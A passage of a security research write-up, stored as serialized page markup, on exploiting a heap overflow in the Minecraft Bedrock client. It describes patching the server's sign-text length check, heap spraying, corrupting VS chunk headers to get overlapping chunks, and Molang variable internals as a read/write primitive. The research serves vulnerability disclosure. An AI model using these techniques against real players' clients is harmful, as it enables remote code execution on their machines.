[153556],{"type":29,"value":153557},"    create_wall",{"type":23,"tag":504,"props":153559,"children":153560},{"style":5058},[153561],{"type":29,"value":5725},{"type":23,"tag":504,"props":153563,"children":153564},{"class":5016,"line":83036},[153565],{"type":23,"tag":504,"props":153566,"children":153567},{"style":5058},[153568],{"type":29,"value":37394},{"type":23,"tag":504,"props":153570,"children":153571},{"class":5016,"line":83044},[153572],{"type":23,"tag":504,"props":153573,"children":153574},{"emptyLinePlaceholder":15},[153575],{"type":29,"value":5734},{"type":23,"tag":504,"props":153577,"children":153578},{"class":5016,"line":83052},[153579,153583,153587,153592,153596,153601,153605,153609,153613,153617,153621,153625,153629,153633],{"type":23,"tag":504,"props":153580,"children":153581},{"style":5041},[153582],{"type":29,"value":153501},{"type":23,"tag":504,"props":153584,"children":153585},{"style":5058},[153586],{"type":29,"value":357},{"type":23,"tag":504,"props":153588,"children":153589},{"style":5041},[153590],{"type":29,"value":153591},"beforeEvents",{"type":23,"tag":504,"props":153593,"children":153594},{"style":5058},[153595],{"type":29,"value":357},{"type":23,"tag":504,"props":153597,"children":153598},{"style":5041},[153599],{"type":29,"value":153600},"playerLeave",{"type":23,"tag":504,"props":153602,"children":153603},{"style":5058},[153604],{"type":29,"value":357},{"type":23,"tag":504,"props":153606,"children":153607},{"style":5139},[153608],{"type":29,"value":153528},{"type":23,"tag":504,"props":153610,"children":153611},{"style":5058},[153612],{"type":29,"value":603},{"type":23,"tag":504,"props":153614,"children":153615},{"style":5030},[153616],{"type":29,"value":38202},{"type":23,"tag":504,"props":153618,"children":153619},{"style":5058},[153620],{"type":29,"value":5110},{"type":23,"tag":504,"props":153622,"children":153623},{"style":5041},[153624],{"type":29,"value":153537},{"type":23,"tag":504,"props":153626,"children":153627},{"style":5058},[153628],{"type":29,"value":5128},{"type":23,"tag":504,"props":153630,"children":153631},{"style":5030},[153632],{"type":29,"value":16868},{"type":23,"tag":504,"props":153634,"children":153635},{"style":5058},[153636],{"type":29,"value":5333},{"type":23,"tag":504,"props":153638,"children":153639},{"class":5016,"line":83092},[153640,153645],{"type":23,"tag":504,"props":153641,"children":153642},{"style":5139},[153643],{"type":29,"value":153644},"    remove_wall",{"type":23,"tag":504,"props":153646,"children":153647},{"style":5058},[153648],{"type":29,"value":5725},{"type":23,"tag":504,"props":153650,"children":153651},{"class":5016,"line":83100},[153652],{"type":23,"tag":504,"props":153653,"children":153654},{"style":5058},[153655],{"type":29,"value":37394},{"type":23,"tag":32,"props":153657,"children":153658},{},[153659],{"type":29,"value":153660},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":23,"tag":32,"props":153662,"children":153663},{},[153664],{"type":23,"tag":199,"props":153665,"children":153668},{"alt":153666,"src":153667},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":23,"tag":32,"props":153670,"children":153671},{},[153672],{"type":29,"value":153673},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":23,"tag":20944,"props":153675,"children":153677},{"id":153676},"a-small-roadblock",[153678],{"type":29,"value":153679},"A Small Roadblock",{"type":23,"tag":32,"props":153681,"children":153682},{},[153683],{"type":29,"value":153684},"While testing our heap spray method, we encountered the following error:",{"type":23,"tag":4743,"props":153686,"children":153688},{"code":153687},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n    at alloc (index.js:169)\n",[153689],{"type":23,"tag":154,"props":153690,"children":153691},{"__ignoreMap":7},[153692],{"type":29,"value":153687},{"type":23,"tag":32,"props":153694,"children":153695},{},[153696,153698,153704],{"type":29,"value":153697},"An error is thrown by the server executable while trying to assign text longer than ",{"type":23,"tag":154,"props":153699,"children":153701},{"className":153700},[],[153702],{"type":29,"value":153703},"512",{"type":29,"value":153705}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":23,"tag":32,"props":153707,"children":153708},{},[153709],{"type":29,"value":153710},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":23,"tag":32,"props":153712,"children":153713},{},[153714],{"type":29,"value":153715},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":23,"tag":32,"props":153717,"children":153718},{},[153719],{"type":23,"tag":199,"props":153720,"children":153722},{"alt":201,"src":153721},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":23,"tag":32,"props":153724,"children":153725},{},[153726,153728,153734],{"type":29,"value":153727},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":23,"tag":154,"props":153729,"children":153731},{"className":153730},[],[153732],{"type":29,"value":153733},"string_length \u003C= 512",{"type":29,"value":153735}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":23,"tag":32,"props":153737,"children":153738},{},[153739],{"type":29,"value":153740},"The disassembly of the comparison looks like this:",{"type":23,"tag":32,"props":153742,"children":153743},{},[153744],{"type":23,"tag":199,"props":153745,"children":153747},{"alt":201,"src":153746},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":23,"tag":32,"props":153749,"children":153750},{},[153751,153753,153758,153760,153765,153766,153771,153773,153779,153781,153787,153789,153794,153796,153801],{"type":29,"value":153752},"The code compares ",{"type":23,"tag":154,"props":153754,"children":153756},{"className":153755},[],[153757],{"type":29,"value":58835},{"type":29,"value":153759}," (the string length) to ",{"type":23,"tag":154,"props":153761,"children":153763},{"className":153762},[],[153764],{"type":29,"value":129593},{"type":29,"value":5110},{"type":23,"tag":154,"props":153767,"children":153769},{"className":153768},[],[153770],{"type":29,"value":153703},{"type":29,"value":153772}," decimal). It then performs a ",{"type":23,"tag":154,"props":153774,"children":153776},{"className":153775},[],[153777],{"type":29,"value":153778},"jbe",{"type":29,"value":153780},", jumping to address ",{"type":23,"tag":154,"props":153782,"children":153784},{"className":153783},[],[153785],{"type":29,"value":153786},"0x14275114c",{"type":29,"value":153788}," if ",{"type":23,"tag":154,"props":153790,"children":153792},{"className":153791},[],[153793],{"type":29,"value":58835},{"type":29,"value":153795}," is less than or equal to ",{"type":23,"tag":154,"props":153797,"children":153799},{"className":153798},[],[153800],{"type":29,"value":153703},{"type":29,"value":153802},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":23,"tag":32,"props":153804,"children":153805},{},[153806,153808,153813,153815,153821],{"type":29,"value":153807},"To force execution down this path, we patched the ",{"type":23,"tag":154,"props":153809,"children":153811},{"className":153810},[],[153812],{"type":29,"value":153778},{"type":29,"value":153814}," instruction to an unconditional ",{"type":23,"tag":154,"props":153816,"children":153818},{"className":153817},[],[153819],{"type":29,"value":153820},"jmp",{"type":29,"value":153822},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":23,"tag":32,"props":153824,"children":153825},{},[153826],{"type":23,"tag":199,"props":153827,"children":153829},{"alt":201,"src":153828},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":23,"tag":32,"props":153831,"children":153832},{},[153833,153835,153840,153842,153847],{"type":29,"value":153834},"After patching the server and calling ",{"type":23,"tag":154,"props":153836,"children":153838},{"className":153837},[],[153839],{"type":29,"value":151944},{"type":29,"value":153841}," with a size of ",{"type":23,"tag":154,"props":153843,"children":153845},{"className":153844},[],[153846],{"type":29,"value":60209},{"type":29,"value":153848},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":23,"tag":32,"props":153850,"children":153851},{},[153852],{"type":23,"tag":199,"props":153853,"children":153855},{"alt":201,"src":153854},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":23,"tag":20844,"props":153857,"children":153858},{},[],{"type":23,"tag":32,"props":153860,"children":153861},{},[153862],{"type":29,"value":153863},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":23,"tag":32,"props":153865,"children":153866},{},[153867],{"type":29,"value":153868},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":23,"tag":320,"props":153870,"children":153872},{"id":153871},"overlapping-heap-chunks",[153873],{"type":29,"value":153874},"Overlapping Heap Chunks",{"type":23,"tag":32,"props":153876,"children":153877},{},[153878,153880,153885],{"type":29,"value":153879},"The attack is described in detail in the referenced blog post (",{"type":23,"tag":68,"props":153881,"children":153883},{"href":151688,"rel":153882},[72],[153884],{"type":29,"value":49647},{"type":29,"value":153886},"), so we will present a high-level overview.",{"type":23,"tag":32,"props":153888,"children":153889},{},[153890,153892,153898],{"type":29,"value":153891},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":23,"tag":154,"props":153893,"children":153895},{"className":153894},[],[153896],{"type":29,"value":153897},"_HEAP_VS_CHUNK_HEADER",{"type":29,"value":153899}," structure layout is required:",{"type":23,"tag":4743,"props":153901,"children":153903},{"code":153902},"     +---------------------------+           +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost     |\n     +---------------------------+           +---------------+\n+0x8 |EncodedSegmentPageOffset   |      +0x2 |UnsafeSize     |\n     +---------------------------+           +---------------+\n+0x8 |UnusedBytes                |      +0x4 |UnsafePrevSize |\n     +---------------------------+           +---------------+\n     |           . . .           |      +0x6 |Allocated      |\n                                             +---------------+\n                                             |     . . .     |\n",[153904],{"type":23,"tag":154,"props":153905,"children":153906},{"__ignoreMap":7},[153907],{"type":29,"value":153902},{"type":23,"tag":32,"props":153909,"children":153910},{},[153911,153913,153919,153921,153927,153928,153934,153935,153941,153943,153948,153950,153955,153957,153963,153965,153970,153972,153978],{"type":29,"value":153912},"At offset 0 there is a header ",{"type":23,"tag":154,"props":153914,"children":153916},{"className":153915},[],[153917],{"type":29,"value":153918},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":29,"value":153920}," containing fields such as ",{"type":23,"tag":154,"props":153922,"children":153924},{"className":153923},[],[153925],{"type":29,"value":153926},"MemoryCost",{"type":29,"value":4367},{"type":23,"tag":154,"props":153929,"children":153931},{"className":153930},[],[153932],{"type":29,"value":153933},"UnsafeSize",{"type":29,"value":4367},{"type":23,"tag":154,"props":153936,"children":153938},{"className":153937},[],[153939],{"type":29,"value":153940},"UnsafePrevSize",{"type":29,"value":153942},", etc. For the attack we only care about the ",{"type":23,"tag":154,"props":153944,"children":153946},{"className":153945},[],[153947],{"type":29,"value":153933},{"type":29,"value":153949}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":23,"tag":154,"props":153951,"children":153953},{"className":153952},[],[153954],{"type":29,"value":128216},{"type":29,"value":153956},", so for a chunk of size ",{"type":23,"tag":154,"props":153958,"children":153960},{"className":153959},[],[153961],{"type":29,"value":153962},"0x4010",{"type":29,"value":153964}," the value of ",{"type":23,"tag":154,"props":153966,"children":153968},{"className":153967},[],[153969],{"type":29,"value":153933},{"type":29,"value":153971}," would be ",{"type":23,"tag":154,"props":153973,"children":153975},{"className":153974},[],[153976],{"type":29,"value":153977},"0x401",{"type":29,"value":357},{"type":23,"tag":32,"props":153980,"children":153981},{},[153982,153983,153988],{"type":29,"value":66279},{"type":23,"tag":154,"props":153984,"children":153986},{"className":153985},[],[153987],{"type":29,"value":153933},{"type":29,"value":153989}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":23,"tag":32,"props":153991,"children":153992},{},[153993,153995,154000,154002,154007,154009,154015,154017,154022],{"type":29,"value":153994},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":23,"tag":154,"props":153996,"children":153998},{"className":153997},[],[153999],{"type":29,"value":153933},{"type":29,"value":154001}," in the smallest possible VS chunk (",{"type":23,"tag":154,"props":154003,"children":154005},{"className":154004},[],[154006],{"type":29,"value":153962},{"type":29,"value":154008},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":23,"tag":154,"props":154010,"children":154012},{"className":154011},[],[154013],{"type":29,"value":154014},"[0x10, 0xffff0]",{"type":29,"value":154016}," range, the probability that it exceeds ",{"type":23,"tag":154,"props":154018,"children":154020},{"className":154019},[],[154021],{"type":29,"value":153962},{"type":29,"value":154023}," is:",{"type":23,"tag":4743,"props":154025,"children":154027},{"code":154026},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[154028],{"type":23,"tag":154,"props":154029,"children":154030},{"__ignoreMap":7},[154031],{"type":29,"value":154026},{"type":23,"tag":32,"props":154033,"children":154034},{},[154035],{"type":29,"value":154036},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":23,"tag":32,"props":154038,"children":154039},{},[154040],{"type":29,"value":154041},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":23,"tag":20944,"props":154043,"children":154045},{"id":154044},"overlap-attack-overview",[154046],{"type":29,"value":154047},"Overlap Attack Overview",{"type":23,"tag":32,"props":154049,"children":154050},{},[154051,154053,154058],{"type":29,"value":154052},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":23,"tag":154,"props":154054,"children":154056},{"className":154055},[],[154057],{"type":29,"value":128239},{"type":29,"value":154059}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":23,"tag":32,"props":154061,"children":154062},{},[154063,154065,154070,154072,154077],{"type":29,"value":154064},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":23,"tag":154,"props":154066,"children":154068},{"className":154067},[],[154069],{"type":29,"value":149947},{"type":29,"value":154071},"-sized chunks in the free list that we want to avoid. If a ",{"type":23,"tag":154,"props":154073,"children":154075},{"className":154074},[],[154076],{"type":29,"value":149947},{"type":29,"value":154078},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":23,"tag":32,"props":154080,"children":154081},{},[154082,154084,154089],{"type":29,"value":154083},"To remove those ",{"type":23,"tag":154,"props":154085,"children":154087},{"className":154086},[],[154088],{"type":29,"value":149947},{"type":29,"value":154090},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":23,"tag":32,"props":154092,"children":154093},{},[154094],{"type":29,"value":154095},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":23,"tag":4743,"props":154097,"children":154099},{"code":154098},"+--------+--------+--------+--------+--------+\n|        |        |        |        |        |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n|        |        |        |        |        |\n+--------+--------+--------+--------+--------+\n",[154100],{"type":23,"tag":154,"props":154101,"children":154102},{"__ignoreMap":7},[154103],{"type":29,"value":154098},{"type":23,"tag":32,"props":154105,"children":154106},{},[154107,154109,154114,154116,154121],{"type":29,"value":154108},"Next we create ",{"type":23,"tag":4321,"props":154110,"children":154111},{},[154112],{"type":29,"value":154113},"holes",{"type":29,"value":154115}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":23,"tag":154,"props":154117,"children":154119},{"className":154118},[],[154120],{"type":29,"value":149947},{"type":29,"value":154122},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":23,"tag":4743,"props":154124,"children":154126},{"code":154125},"            Free              Free            \n+--------+--------+--------+--------+--------+\n|        |........|        |........|        |\n| Sign A |........| Sign C |........| Sign F |\n|        |........|        |........|        |\n+--------+--------+--------+--------+--------+\n",[154127],{"type":23,"tag":154,"props":154128,"children":154129},{"__ignoreMap":7},[154130],{"type":29,"value":154125},{"type":23,"tag":32,"props":154132,"children":154133},{},[154134,154136,154141,154143,154148],{"type":29,"value":154135},"When a ",{"type":23,"tag":154,"props":154137,"children":154139},{"className":154138},[],[154140],{"type":29,"value":149947},{"type":29,"value":154142}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":23,"tag":154,"props":154144,"children":154146},{"className":154145},[],[154147],{"type":29,"value":153933},{"type":29,"value":154149}," field will be overwritten:",{"type":23,"tag":4743,"props":154151,"children":154153},{"code":154152},"                           +--------+         \n            Free           |        |         \n+--------+--------+--------+ g->out +--------+\n|        |........|        |        |        |\n| Sign A |........| Sign C +--------+ Sign F |\n|        |........|        |        |        |\n+--------+--------+--------+        +--------+\n",[154154],{"type":23,"tag":154,"props":154155,"children":154156},{"__ignoreMap":7},[154157],{"type":29,"value":154152},{"type":23,"tag":32,"props":154159,"children":154160},{},[154161,154163,154168,154170,154175,154177,154182],{"type":29,"value":154162},"Once ",{"type":23,"tag":154,"props":154164,"children":154166},{"className":154165},[],[154167],{"type":29,"value":153933},{"type":29,"value":154169}," has been overwritten, ",{"type":23,"tag":154,"props":154171,"children":154173},{"className":154172},[],[154174],{"type":29,"value":149947},{"type":29,"value":154176}," allocation is freed immediately after, restoring the previous layout but with ",{"type":23,"tag":154,"props":154178,"children":154180},{"className":154179},[],[154181],{"type":29,"value":153933},{"type":29,"value":154183}," field corrupted:",{"type":23,"tag":4743,"props":154185,"children":154187},{"code":154186},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n            Free              Free      |           \n+--------+--------+--------+--------+---+----+      \n|        |........|        |........|        |      \n| Sign A |........| Sign C |........| Sign F |      \n|        |........|        |........|        |      \n+--------+--------+--------+--------+--------+      \n",[154188],{"type":23,"tag":154,"props":154189,"children":154190},{"__ignoreMap":7},[154191],{"type":29,"value":154186},{"type":23,"tag":32,"props":154193,"children":154194},{},[154195],{"type":29,"value":154196},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":23,"tag":4743,"props":154198,"children":154200},{"code":154199},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n                                        |           \n+--------+--------+--------+--------+---+----+      \n|        |        |        |        |        |      \n| Sign A | Sign B | Sign C | Sign D | Sign F |      \n|        |        |        |        |        |      \n+--------+--------+--------+--------+--------+      \n",[154201],{"type":23,"tag":154,"props":154202,"children":154203},{"__ignoreMap":7},[154204],{"type":29,"value":154199},{"type":23,"tag":32,"props":154206,"children":154207},{},[154208],{"type":29,"value":154209},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":23,"tag":4743,"props":154211,"children":154213},{"code":154212},"                                       Freed Overwritten   \n                                               |           \n                                    +----------+----------+\n                                    |                     |\n   Free              Free           v                     v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........|        |........|        |........|             \n|........| Sign B |........| Sign D |........| Other chunks\n|........|        |........|        |........|             \n+--------+--------+--------+--------+--------+- - - - - - -\n",[154214],{"type":23,"tag":154,"props":154215,"children":154216},{"__ignoreMap":7},[154217],{"type":29,"value":154212},{"type":23,"tag":20844,"props":154219,"children":154220},{},[],{"type":23,"tag":32,"props":154222,"children":154223},{},[154224],{"type":29,"value":154225},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":23,"tag":32,"props":154227,"children":154228},{},[154229],{"type":29,"value":154230},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":23,"tag":320,"props":154232,"children":154234},{"id":154233},"molang",[154235],{"type":29,"value":154236},"Molang",{"type":23,"tag":32,"props":154238,"children":154239},{},[154240,154242,154249],{"type":29,"value":154241},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":23,"tag":68,"props":154243,"children":154246},{"href":154244,"rel":154245},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[72],[154247],{"type":29,"value":154248},"syntax guide",{"type":29,"value":357},{"type":23,"tag":32,"props":154251,"children":154252},{},[154253,154255,154260,154261,154266],{"type":29,"value":154254},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":23,"tag":154,"props":154256,"children":154258},{"className":154257},[],[154259],{"type":29,"value":1224},{"type":29,"value":4478},{"type":23,"tag":154,"props":154262,"children":154264},{"className":154263},[],[154265],{"type":29,"value":17735},{"type":29,"value":154267}," operators are supported.",{"type":23,"tag":32,"props":154269,"children":154270},{},[154271,154273,154279,154281,154286,154288,154293,154294,154299,154300],{"type":29,"value":154272},"Variables are defined by prepending ",{"type":23,"tag":154,"props":154274,"children":154276},{"className":154275},[],[154277],{"type":29,"value":154278},"variable.",{"type":29,"value":154280}," to the name and assigning a value. For example, to define ",{"type":23,"tag":154,"props":154282,"children":154284},{"className":154283},[],[154285],{"type":29,"value":11129},{"type":29,"value":154287}," as the sum of ",{"type":23,"tag":154,"props":154289,"children":154291},{"className":154290},[],[154292],{"type":29,"value":68},{"type":29,"value":4478},{"type":23,"tag":154,"props":154295,"children":154297},{"className":154296},[],[154298],{"type":29,"value":3003},{"type":29,"value":17378},{"type":23,"tag":154,"props":154301,"children":154303},{"className":154302},[],[154304],{"type":29,"value":154305},"variable.result = variable.a + variable.b;",{"type":23,"tag":32,"props":154307,"children":154308},{},[154309,154311,154316,154317,154322,154323,154328,154329,154334],{"type":29,"value":154310},"Logical operators such as ",{"type":23,"tag":154,"props":154312,"children":154314},{"className":154313},[],[154315],{"type":29,"value":24459},{"type":29,"value":4367},{"type":23,"tag":154,"props":154318,"children":154320},{"className":154319},[],[154321],{"type":29,"value":75260},{"type":29,"value":4367},{"type":23,"tag":154,"props":154324,"children":154326},{"className":154325},[],[154327],{"type":29,"value":2658},{"type":29,"value":4367},{"type":23,"tag":154,"props":154330,"children":154332},{"className":154331},[],[154333],{"type":29,"value":12508},{"type":29,"value":154335},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":23,"tag":4743,"props":154337,"children":154339},{"code":154338},"(variable.result == 3) ? {\n    return 1;\n} : {\n    return 0;\n}\n",[154340],{"type":23,"tag":154,"props":154341,"children":154342},{"__ignoreMap":7},[154343],{"type":29,"value":154338},{"type":23,"tag":32,"props":154345,"children":154346},{},[154347],{"type":29,"value":154348},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":23,"tag":20944,"props":154350,"children":154352},{"id":154351},"molang-internals",[154353],{"type":29,"value":154354},"Molang Internals",{"type":23,"tag":32,"props":154356,"children":154357},{},[154358],{"type":29,"value":154359},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":23,"tag":32,"props":154361,"children":154362},{},[154363],{"type":29,"value":154364},"Below we describe the structures involved and their memory layout.",{"type":23,"tag":20944,"props":154366,"children":154368},{"id":154367},"molangvariable-and-molangscriptarg",[154369],{"type":29,"value":154370},"MolangVariable and MolangScriptArg",{"type":23,"tag":32,"props":154372,"children":154373},{},[154374,154375,154381],{"type":29,"value":104130},{"type":23,"tag":154,"props":154376,"children":154378},{"className":154377},[],[154379],{"type":29,"value":154380},"MolangVariable",{"type":29,"value":154382}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":23,"tag":4743,"props":154384,"children":154386},{"code":154385,"language":3110,"meta":7,"className":18562,"style":7},"struct MolangVariable {\n    \n    struct HashedString {\n        uint64_t variable_name_hash;\n        std::string variable_name;\n    };\n    \n    struct MolangScriptArg {\n        uint32_t value_type;\n        uint64_t value;\n        std::vector\u003Cstruct MolangScriptArg> struct_fields;\n        \n        [...]\n    };\n};\n",[154387],{"type":23,"tag":154,"props":154388,"children":154389},{"__ignoreMap":7},[154390,154402,154409,154421,154434,154442,154449,154456,154468,154481,154493,154523,154531,154538,154545],{"type":23,"tag":504,"props":154391,"children":154392},{"class":5016,"line":5017},[154393,154397],{"type":23,"tag":504,"props":154394,"children":154395},{"style":5030},[154396],{"type":29,"value":11448},{"type":23,"tag":504,"props":154398,"children":154399},{"style":5058},[154400],{"type":29,"value":154401}," MolangVariable {\n",{"type":23,"tag":504,"props":154403,"children":154404},{"class":5016,"line":4868},[154405],{"type":23,"tag":504,"props":154406,"children":154407},{"style":5058},[154408],{"type":29,"value":63848},{"type":23,"tag":504,"props":154410,"children":154411},{"class":5016,"line":4876},[154412,154416],{"type":23,"tag":504,"props":154413,"children":154414},{"style":5030},[154415],{"type":29,"value":8098},{"type":23,"tag":504,"props":154417,"children":154418},{"style":5058},[154419],{"type":29,"value":154420}," HashedString {\n",{"type":23,"tag":504,"props":154422,"children":154423},{"class":5016,"line":5099},[154424,154429],{"type":23,"tag":504,"props":154425,"children":154426},{"style":5030},[154427],{"type":29,"value":154428},"        uint64_t",{"type":23,"tag":504,"props":154430,"children":154431},{"style":5058},[154432],{"type":29,"value":154433}," variable_name_hash;\n",{"type":23,"tag":504,"props":154435,"children":154436},{"class":5016,"line":5203},[154437],{"type":23,"tag":504,"props":154438,"children":154439},{"style":5058},[154440],{"type":29,"value":154441},"        std::string variable_name;\n",{"type":23,"tag":504,"props":154443,"children":154444},{"class":5016,"line":5308},[154445],{"type":23,"tag":504,"props":154446,"children":154447},{"style":5058},[154448],{"type":29,"value":41053},{"type":23,"tag":504,"props":154450,"children":154451},{"class":5016,"line":5336},[154452],{"type":23,"tag":504,"props":154453,"children":154454},{"style":5058},[154455],{"type":29,"value":63848},{"type":23,"tag":504,"props":154457,"children":154458},{"class":5016,"line":5349},[154459,154463],{"type":23,"tag":504,"props":154460,"children":154461},{"style":5030},[154462],{"type":29,"value":8098},{"type":23,"tag":504,"props":154464,"children":154465},{"style":5058},[154466],{"type":29,"value":154467}," MolangScriptArg {\n",{"type":23,"tag":504,"props":154469,"children":154470},{"class":5016,"line":5367},[154471,154476],{"type":23,"tag":504,"props":154472,"children":154473},{"style":5030},[154474],{"type":29,"value":154475},"        uint32_t",{"type":23,"tag":504,"props":154477,"children":154478},{"style":5058},[154479],{"type":29,"value":154480}," value_type;\n",{"type":23,"tag":504,"props":154482,"children":154483},{"class":5016,"line":5388},[154484,154488],{"type":23,"tag":504,"props":154485,"children":154486},{"style":5030},[154487],{"type":29,"value":154428},{"type":23,"tag":504,"props":154489,"children":154490},{"style":5058},[154491],{"type":29,"value":154492}," value;\n",{"type":23,"tag":504,"props":154494,"children":154495},{"class":5016,"line":5397},[154496,154501,154505,154509,154514,154518],{"type":23,"tag":504,"props":154497,"children":154498},{"style":5058},[154499],{"type":29,"value":154500},"        std::vector",{"type":23,"tag":504,"props":154502,"children":154503},{"style":5047},[154504],{"type":29,"value":2658},{"type":23,"tag":504,"props":154506,"children":154507},{"style":5030},[154508],{"type":29,"value":11448},{"type":23,"tag":504,"props":154510,"children":154511},{"style":5058},[154512],{"type":29,"value":154513}," MolangScriptArg",{"type":23,"tag":504,"props":154515,"children":154516},{"style":5047},[154517],{"type":29,"value":12508},{"type":23,"tag":504,"props":154519,"children":154520},{"style":5058},[154521],{"type":29,"value":154522}," struct_fields;\n",{"type":23,"tag":504,"props":154524,"children":154525},{"class":5016,"line":5649},[154526],{"type":23,"tag":504,"props":154527,"children":154528},{"style":5058},[154529],{"type":29,"value":154530},"        \n",{"type":23,"tag":504,"props":154532,"children":154533},{"class":5016,"line":5666},[154534],{"type":23,"tag":504,"props":154535,"children":154536},{"style":5058},[154537],{"type":29,"value":125818},{"type":23,"tag":504,"props":154539,"children":154540},{"class":5016,"line":5683},[154541],{"type":23,"tag":504,"props":154542,"children":154543},{"style":5058},[154544],{"type":29,"value":41053},{"type":23,"tag":504,"props":154546,"children":154547},{"class":5016,"line":5696},[154548],{"type":23,"tag":504,"props":154549,"children":154550},{"style":5058},[154551],{"type":29,"value":18625},{"type":23,"tag":32,"props":154553,"children":154554},{},[154555,154557,154562],{"type":29,"value":154556},"In memory a ",{"type":23,"tag":154,"props":154558,"children":154560},{"className":154559},[],[154561],{"type":29,"value":154380},{"type":29,"value":154563}," instance resembles:",{"type":23,"tag":4743,"props":154565,"children":154567},{"code":154566},"      +---------------+---------------+\n+0x00 |  FNV-1 hash   |std::string.buf|\n      +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n      +---------------+---------------+\n+0x20 |std::string.cap|   Unknown     |\n      +-------+-------+---------------+\n+0x30 | Type  |Unused |Variable value |\n      +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n      +---------------+---------------+\n+0x50 |std::vector.cap|   Unknown     |\n      +---------------+---------------+\n      |     . . .     |     . . .     |\n",[154568],{"type":23,"tag":154,"props":154569,"children":154570},{"__ignoreMap":7},[154571],{"type":29,"value":154566},{"type":23,"tag":32,"props":154573,"children":154574},{},[154575],{"type":29,"value":154576},"For reference, example debugger view of the layout:",{"type":23,"tag":32,"props":154578,"children":154579},{},[154580],{"type":23,"tag":199,"props":154581,"children":154583},{"alt":201,"src":154582},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":23,"tag":32,"props":154585,"children":154586},{},[154587],{"type":29,"value":154588},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":23,"tag":32,"props":154590,"children":154591},{},[154592,154594,154600,154602,154607,154609,154615,154617,154622,154623,154628,154630,154635,154636,154642,154643,154649],{"type":29,"value":154593},"We only care about the ",{"type":23,"tag":154,"props":154595,"children":154597},{"className":154596},[],[154598],{"type":29,"value":154599},"MolangScriptArg",{"type":29,"value":154601}," beginning at offset 